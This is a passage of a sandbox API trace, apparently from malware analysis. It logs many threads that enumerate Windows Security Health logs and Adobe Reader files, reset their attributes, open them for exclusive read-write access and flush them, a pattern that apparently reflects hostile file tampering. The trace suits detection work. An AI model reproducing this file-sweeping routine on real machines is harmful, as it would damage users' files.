	[0093.860] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01132018-085021-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", dwFileAttributes=0x20) 

Thread:
	id = 1329
	os_tid = 0x20e4

	[0093.861] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01172019-164549-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-01172019-164549-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2020
	[0093.862] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01172019-164549-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", dwFileAttributes=0x20) 

Thread:
	id = 1330
	os_tid = 0x20e8

	[0093.862] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-081049-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-01312020-081049-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2020
	[0093.863] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-081049-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", dwFileAttributes=0x20) 

Thread:
	id = 1331
	os_tid = 0x20ec

	[0093.863] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-081753-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-01312020-081753-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2020
	[0093.864] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-081753-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", dwFileAttributes=0x20) 

Thread:
	id = 1332
	os_tid = 0x20f0

	[0093.864] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-085233-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-01312020-085233-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2020
	[0093.864] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-085233-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", dwFileAttributes=0x20) 

Thread:
	id = 1333
	os_tid = 0x20f4

	[0093.865] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-091325-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-01312020-091325-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2020
	[0093.865] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-091325-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", dwFileAttributes=0x20) 

Thread:
	id = 1334
	os_tid = 0x20f8

	[0093.866] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-092302-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-01312020-092302-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2020
	[0093.866] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-092302-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", dwFileAttributes=0x20) 

Thread:
	id = 1335
	os_tid = 0x20fc

	[0093.866] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-100228-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-01312020-100228-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2020
	[0093.866] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-100228-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", dwFileAttributes=0x20) 

Thread:
	id = 1336
	os_tid = 0x2100

	[0093.867] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-100844-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-01312020-100844-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2000
	[0093.867] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-100844-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", dwFileAttributes=0x20) returned 1
	[0093.868] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-100844-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-01312020-100844-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0093.868] GetLastError () returned 0x20
	[0093.868] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x8) returned 0x2d75dd0
	[0093.868] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0093.868] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d75dd0) returned 1
	[0093.868] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x4731e48, Size=0x28) returned 0x2d78170
	[0093.868] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf6) returned 0x4776a60
	[0093.868] wcscpy (in: _Dest=0x4776a60, _Source="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-100844-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-100844-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-100844-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"
	[0093.868] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01312020-100844-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", dwFileAttributes=0x2000) returned 1
	[0093.868] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4779560) returned 1

Thread:
	id = 1337
	os_tid = 0x2104

	[0093.869] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-02062018-155840-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-02062018-155840-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2020
	[0093.869] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-02062018-155840-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", dwFileAttributes=0x20) 

Thread:
	id = 1338
	os_tid = 0x2108

	[0093.870] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-02062018-161100-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-02062018-161100-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2020
	[0093.870] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-02062018-161100-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", dwFileAttributes=0x20) 

Thread:
	id = 1339
	os_tid = 0x210c

	[0093.871] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-02062018-162700-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-02062018-162700-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2020
	[0093.871] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-02062018-162700-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", dwFileAttributes=0x20) 

Thread:
	id = 1340
	os_tid = 0x2110

	[0093.871] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-02212018-110518-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-02212018-110518-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2020
	[0093.872] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-02212018-110518-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", dwFileAttributes=0x20) 

Thread:
	id = 1341
	os_tid = 0x2114

	[0093.873] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-03082019-175806-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-03082019-175806-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2020
	[0093.873] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-03082019-175806-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", dwFileAttributes=0x20) 

Thread:
	id = 1342
	os_tid = 0x2118

	[0093.873] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-03082019-181722-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-03082019-181722-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2020
	[0093.874] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-03082019-181722-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", dwFileAttributes=0x20) 

Thread:
	id = 1343
	os_tid = 0x211c

	[0093.875] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-07172018-134351-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-07172018-134351-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2020
	[0093.875] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-07172018-134351-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", dwFileAttributes=0x20) 

Thread:
	id = 1344
	os_tid = 0x2120

	[0093.876] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-07172018-135525-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-07172018-135525-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2020
	[0093.877] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-07172018-135525-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", dwFileAttributes=0x20) 

Thread:
	id = 1345
	os_tid = 0x2124

	[0093.877] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09062017-205414-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-09062017-205414-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2020
	[0093.877] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09062017-205414-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", dwFileAttributes=0x20) 

Thread:
	id = 1346
	os_tid = 0x2128

	[0093.878] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09062017-210137-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-09062017-210137-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2020
	[0093.878] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09062017-210137-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", dwFileAttributes=0x20) 

Thread:
	id = 1347
	os_tid = 0x212c

	[0093.879] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09072017-103625-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-09072017-103625-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2020
	[0093.879] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09072017-103625-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", dwFileAttributes=0x20) 

Thread:
	id = 1348
	os_tid = 0x2130

	[0093.880] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09072017-114522-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-09072017-114522-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2020
	[0093.880] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09072017-114522-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", dwFileAttributes=0x20) 

Thread:
	id = 1349
	os_tid = 0x2134

	[0093.880] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09072017-132231-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-09072017-132231-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2020
	[0093.881] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09072017-132231-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", dwFileAttributes=0x20) 

Thread:
	id = 1350
	os_tid = 0x2138

	[0093.881] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09072017-172200-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-09072017-172200-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2000
	[0093.882] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09072017-172200-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", dwFileAttributes=0x20) 

Thread:
	id = 1351
	os_tid = 0x213c

	[0093.882] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09262017-144646-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-09262017-144646-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2020
	[0093.882] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09262017-144646-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", dwFileAttributes=0x20) 

Thread:
	id = 1352
	os_tid = 0x2140

	[0093.883] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09262017-175731-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-09262017-175731-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2020
	[0093.885] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09262017-175731-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", dwFileAttributes=0x20) 

Thread:
	id = 1353
	os_tid = 0x2144

	[0093.885] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-10122018-081308-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-10122018-081308-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2020
	[0093.886] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-10122018-081308-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", dwFileAttributes=0x20) 

Thread:
	id = 1354
	os_tid = 0x2148

	[0093.886] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-10122018-090648-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-10122018-090648-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2020
	[0093.887] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-10122018-090648-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", dwFileAttributes=0x20) 

Thread:
	id = 1355
	os_tid = 0x214c

	[0093.887] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-10172017-124308-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-10172017-124308-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2020
	[0093.888] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-10172017-124308-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", dwFileAttributes=0x20) 

Thread:
	id = 1356
	os_tid = 0x2150

	[0093.892] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11142018-153535-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-11142018-153535-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2020
	[0093.892] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11142018-153535-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", dwFileAttributes=0x20) 

Thread:
	id = 1357
	os_tid = 0x2154

	[0093.893] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11142018-164648-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-11142018-164648-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2020
	[0093.893] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11142018-164648-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", dwFileAttributes=0x20) 

Thread:
	id = 1358
	os_tid = 0x2158

	[0093.894] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11142018-170447-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-11142018-170447-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2020
	[0093.894] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11142018-170447-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", dwFileAttributes=0x20) 

Thread:
	id = 1359
	os_tid = 0x215c

	[0093.895] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11152017-120955-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-11152017-120955-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2020
	[0093.895] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11152017-120955-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", dwFileAttributes=0x20) 

Thread:
	id = 1360
	os_tid = 0x2160

	[0093.895] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11152017-121807-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-11152017-121807-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2020
	[0093.896] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11152017-121807-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", dwFileAttributes=0x20) 

Thread:
	id = 1361
	os_tid = 0x2164

	[0093.896] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x88) returned 0x476ef68
	[0093.896] wcscpy (in: _Dest=0x476ef68, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU"
	[0093.896] wcscat (in: _Dest=0x476ef68, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\"
	[0093.896] wcscat (in: _Dest=0x476ef68, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\*") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\*"
	[0093.896] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4712008
	[0093.896] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\*", lpFindFileData=0x4712008 | out: lpFindFileData=0x4712008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3632d245, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe2a87d43, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe2a87d43, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a8798
	[0093.906] wcscmp (_String1=".", _String2=".") returned 0
	[0093.906] FindNextFileW (in: hFindFile=0x46a8798, lpFindFileData=0x4712008 | out: lpFindFileData=0x4712008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3632d245, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe2a87d43, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe2a87d43, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0093.934] wcscmp (_String1="..", _String2=".") returned 1
	[0093.934] wcscmp (_String1="..", _String2="..") returned 0
	[0093.934] FindNextFileW (in: hFindFile=0x46a8798, lpFindFileData=0x4712008 | out: lpFindFileData=0x4712008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3637970e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x126, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppCenter_R.aapp", cAlternateFileName="APPCEN~1.AAP")) returned 1
	[0093.934] wcscmp (_String1="AppCenter_R.aapp", _String2=".") returned 1
	[0093.934] wcscmp (_String1="AppCenter_R.aapp", _String2="..") returned 1
	[0093.934] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa6) returned 0x2d60f50
	[0093.934] wcscpy (in: _Dest=0x2d60f50, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU"
	[0093.934] wcscat (in: _Dest=0x2d60f50, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\"
	[0093.934] wcscat (in: _Dest=0x2d60f50, _Source="AppCenter_R.aapp" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\AppCenter_R.aapp") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\AppCenter_R.aapp"

Thread:
	id = 1362
	os_tid = 0x2168

	[0093.898] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\cef.pak" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\cef.pak")) returned 0x20
	[0093.912] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\cef.pak", dwFileAttributes=0x20) returned 1
	[0093.914] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\cef.pak" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\cef.pak"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xfc4
	[0093.915] GetFileSizeEx (in: hFile=0xfc4, lpFileSize=0x2ea3fcac | out: lpFileSize=0x2ea3fcac*=0) returned 1
	[0093.915] FlushFileBuffers (hFile=0xfc4) returned 1
	[0093.937] CloseHandle (hObject=0xfc4) returned 1
	[0093.938] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\cef.pak", dwFileAttributes=0x20) returned 1
	[0093.996] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e31970) returned 1

Thread:
	id = 1363
	os_tid = 0x216c

	[0093.918] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\cef_100_percent.pak" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\cef_100_percent.pak")) returned 0x20
	[0093.918] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\cef_100_percent.pak", dwFileAttributes=0x20) returned 1
	[0093.919] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\cef_100_percent.pak" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\cef_100_percent.pak"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xfc0
	[0093.919] GetFileSizeEx (in: hFile=0xfc0, lpFileSize=0x2eabf890 | out: lpFileSize=0x2eabf890*=0) returned 1
	[0093.919] FlushFileBuffers (hFile=0xfc0) 

Thread:
	id = 1364
	os_tid = 0x2170

	[0093.919] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\cef_200_percent.pak" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\cef_200_percent.pak")) returned 0x20
